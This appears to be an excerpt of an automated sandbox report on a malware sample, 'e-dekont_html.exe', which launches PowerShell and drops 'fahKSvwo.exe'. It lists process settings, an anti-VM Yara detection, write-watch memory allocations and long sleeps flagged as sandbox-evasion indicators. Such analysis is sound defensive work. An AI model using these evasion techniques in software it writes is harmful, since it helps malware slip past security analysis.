Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: Process Memory Space: e-dekont_html.exe PID: 3756, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: fahKSvwo.exe PID: 7432, type: MEMORYSTR
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\e-dekont_html.exe Memory allocated: 12A0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Memory allocated: 2C40000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Memory allocated: 4C40000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Memory allocated: 9010000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Memory allocated: A010000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Memory allocated: A220000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Memory allocated: B220000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Memory allocated: 2BD0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Memory allocated: 2D90000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Memory allocated: 4D90000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Memory allocated: 2AC0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Memory allocated: 2C90000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Memory allocated: 2AC0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Memory allocated: 8950000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Memory allocated: 9950000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Memory allocated: 9B40000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Memory allocated: AB40000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Memory allocated: 1590000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Memory allocated: 32A0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Memory allocated: 31A0000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 599890 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 599781 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 599668 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 599562 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 599453 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 599344 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 599234 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 599124 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 599015 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 598897 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 598781 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 598660 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 598516 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 598406 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 598292 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 598187 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 598078 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 597969 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 597844 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 597665 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 597494 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 597344 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 597234 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 597125 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 597016 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 596891 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 596766 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 596656 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 596547 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 596437 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 596328 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 596219 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 596109 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 596000 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 595891 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 595766 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 595641 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 595531 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 595422 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 595313 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 595188 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 595063 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 594930 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 594652 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 594540 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 594422 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 594312 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 594203 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 594094 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 593983 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 593875 Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe Thread delayed: delay time: 593766 Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe Thread delayed: delay time: 922337203685477 Jump to behavior
